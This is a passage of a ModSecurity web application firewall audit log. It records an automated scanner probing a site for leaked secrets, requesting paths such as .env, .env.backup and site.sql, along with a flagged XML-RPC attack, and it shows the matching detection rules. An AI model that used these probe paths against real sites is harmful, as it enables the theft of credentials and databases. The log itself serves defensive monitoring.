Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --71f68a0a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ffd93cc1102b323e5f583e60ad9cb87d1750032016; expires=Mon, 16 Jun 2025 01:00:16 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --71f68a0a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8000/docs/.env"] [unique_id "aE9ekNNEcm-DhAkC0ibYjQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032016027490 711685 (- - -) Stopwatch2: 1750032016027490 711685; combined=2389, p1=481, p2=1770, p3=0, p4=0, p5=138, sr=115, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --71f68a0a-Z-- --bce0e766-A-- [16/Jun/2025:05:30:17.846938 +0530] aE9ekQ9THibLN0xLxETsXAAAAAk 185.177.72.210 39550 127.0.0.1 7081 --bce0e766-B-- GET /2011.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --bce0e766-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=638b2c56a373fe0302fbe5d7088a45781750032017; expires=Mon, 16 Jun 2025 01:00:17 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --bce0e766-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/2011.sql"] [unique_id "aE9ekQ9THibLN0xLxETsXAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032017057854 789172 (- - -) Stopwatch2: 1750032017057854 789172; combined=1851, p1=337, p2=1397, p3=0, p4=0, p5=116, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --bce0e766-Z-- --ee09e950-A-- [16/Jun/2025:05:30:25.407909 +0530] aE9emA9THibLN0xLxETsXgAAAAk 185.177.72.210 35096 127.0.0.1 7081 --ee09e950-B-- GET /FE/huey/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ee09e950-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2e012116ecb7af963d6f9b2282ecdcb41750032025; expires=Mon, 16 Jun 2025 01:00:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ee09e950-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/FE/huey/.env"] [unique_id "aE9emA9THibLN0xLxETsXgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032024604072 803925 (- - -) Stopwatch2: 1750032024604072 803925; combined=1850, p1=446, p2=1302, p3=0, p4=0, p5=102, sr=144, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ee09e950-Z-- --f44b4574-A-- [16/Jun/2025:05:30:38.664777 +0530] aE9epqpdvXW4_hknQUUxcQAAAAo 185.177.72.210 51488 127.0.0.1 7081 --f44b4574-B-- GET /site.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f44b4574-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8c127bd2ff9329d4c204f0465e62316d1750032038; expires=Mon, 16 Jun 2025 01:00:38 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f44b4574-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/site.sql"] [unique_id "aE9epqpdvXW4_hknQUUxcQAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032038013457 651396 (- - -) Stopwatch2: 1750032038013457 651396; combined=1746, p1=330, p2=1320, p3=0, p4=0, p5=96, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f44b4574-Z-- --e57c1b64-A-- [16/Jun/2025:05:30:57.168195 +0530] aE9euNNEcm-DhAkC0ibYmgAAAAY 185.177.72.210 47252 127.0.0.1 7081 --e57c1b64-B-- GET /.env-sample HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e57c1b64-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=cc8c003c5aec24122c4315c70f8d69941750032057; expires=Mon, 16 Jun 2025 01:00:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e57c1b64-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env-sample"] [unique_id "aE9euNNEcm-DhAkC0ibYmgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032056455820 712457 (- - -) Stopwatch2: 1750032056455820 712457; combined=2288, p1=535, p2=1677, p3=0, p4=0, p5=76, sr=128, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e57c1b64-Z-- --456c3258-A-- [16/Jun/2025:05:31:03.423242 +0530] aE9evtVsbyFDndheOrkxTwAAAAE 185.177.72.210 54988 127.0.0.1 7081 --456c3258-B-- GET /:5000/sicherung/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --456c3258-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ac9ca6a65bf0a67293f35ac0ab1f2f471750032063; expires=Mon, 16 Jun 2025 01:01:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --456c3258-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/sicherung/.env"] [unique_id "aE9evtVsbyFDndheOrkxTwAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032062677373 745931 (- - -) Stopwatch2: 1750032062677373 745931; combined=2562, p1=530, p2=1949, p3=0, p4=0, p5=82, sr=145, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --456c3258-Z-- --5a065f2c-A-- [16/Jun/2025:05:31:13.053730 +0530] aE9eyNVsbyFDndheOrkxVQAAAAE 185.177.72.210 35362 127.0.0.1 7081 --5a065f2c-B-- GET /examples/02-complex-example/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5a065f2c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=20fdcfd9ffde9165853392de4e70c3af1750032072; expires=Mon, 16 Jun 2025 01:01:12 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5a065f2c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/examples/02-complex-example/.env"] [unique_id "aE9eyNVsbyFDndheOrkxVQAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032072357922 695912 (- - -) Stopwatch2: 1750032072357922 695912; combined=2333, p1=484, p2=1693, p3=0, p4=0, p5=155, sr=117, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5a065f2c-Z-- --97154d6f-A-- [16/Jun/2025:05:31:14.018261 +0530] aE9eyQ9THibLN0xLxETsdAAAAAk 128.199.112.101 35392 127.0.0.1 7081 --97154d6f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --97154d6f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --97154d6f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9eyQ9THibLN0xLxETsdAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032073059913 958404 (- - -) Stopwatch2: 1750032073059913 958404; combined=3136, p1=556, p2=2210, p3=41, p4=59, p5=169, sr=179, sw=101, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --97154d6f-Z-- --f5c38b15-A-- [16/Jun/2025:05:31:21.288317 +0530] aE9e0A9THibLN0xLxETsdwAAAAk 185.177.72.210 47074 127.0.0.1 7081 --f5c38b15-B-- GET /:8181/front/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f5c38b15-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ffdb20a97d35dd3f67cdd514c221fe401750032081; expires=Mon, 16 Jun 2025 01:01:21 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f5c38b15-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/front/.env"] [unique_id "aE9e0A9THibLN0xLxETsdwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032080626547 661834 (- - -) Stopwatch2: 1750032080626547 661834; combined=1744, p1=448, p2=1202, p3=0, p4=0, p5=93, sr=124, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f5c38b15-Z-- --092bc671-A-- [16/Jun/2025:05:31:25.326425 +0530] aE9e1NNEcm-DhAkC0ibYqQAAAAY 185.177.72.210 47270 127.0.0.1 7081 --092bc671-B-- GET /:8181/base/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --092bc671-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2ef0c36c6615b796b3d4aa74a18a3da61750032085; expires=Mon, 16 Jun 2025 01:01:25 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --092bc671-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/base/.env"] [unique_id "aE9e1NNEcm-DhAkC0ibYqQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032084665053 661436 (- - -) Stopwatch2: 1750032084665053 661436; combined=2002, p1=382, p2=1518, p3=0, p4=0, p5=101, sr=104, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --092bc671-Z-- --5ed59e76-A-- [16/Jun/2025:05:31:42.943309 +0530] aE9e5tNEcm-DhAkC0ibYsAAAAAY 185.177.72.210 54306 127.0.0.1 7081 --5ed59e76-B-- GET /secure/.env.backup HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5ed59e76-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8c2b103a551d7da50197f2a69fd886711750032102; expires=Mon, 16 Jun 2025 01:01:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5ed59e76-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/secure/.env.backup"] [unique_id "aE9e5tNEcm-DhAkC0ibYsAAAAAY"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".env.backup"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/secure/.env.backup"] [unique_id "aE9e5tNEcm-DhAkC0ibYsAAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032102232391 710983 (- - -) Stopwatch2: 1750032102232391 710983; combined=2430, p1=433, p2=1856, p3=0, p4=0, p5=141, sr=119, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5ed59e76-Z-- --71cd5b61-A-- [16/Jun/2025:05:31:57.591221 +0530] aE9e9NVsbyFDndheOrkxawAAAAE 185.177.72.210 48162 127.0.0.1 7081 --71cd5b61-B-- GET /.env.sample HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --71cd5b61-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=754a21549d0125738ca62898e9d675561750032117; expires=Mon, 16 Jun 2025 01:01:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --71cd5b61-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.env.sample"] [unique_id "aE9e9NVsbyFDndheOrkxawAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032116919622 671663 (- - -) Stopwatch2: 1750032116919622 671663; combined=1709, p1=394, p2=1187, p3=0, p4=0, p5=127, sr=94, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --71cd5b61-Z-- --d330d84a-A-- [16/Jun/2025:05:32:10.370780 +0530] aE9fAfbo0R64L12N_alRPAAAAAQ 185.177.72.210 40328 127.0.0.1 7081 --d330d84a-B-- GET /.gitignore_global HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d330d84a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=478bbba89923e64440a3771a1135eb081750032130; expires=Mon, 16 Jun 2025 01:02:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d330d84a-H-- Message: Warning. Matched phrase "/.gitignore" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.gitignore" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.gitignore_global"] [unique_id "aE9fAfbo0R64L12N_alRPAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750032129569535 801320 (- - -) Stopwatch2: 1750032129569535 801320; combined=1835, p1=369, p2=1369, p3=0, p4=0, p5=96, sr=86, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d330d84a-Z-- --1e011644-A-- [16/Jun/2025:05:32:12.960719 +0530] aE9fBKgCBnvq3q-iXzIBLAAAABc 185.177.72.210 40448 127.0.0.1 7081 --1e011644-B-- GET /main_user/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1e011644-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 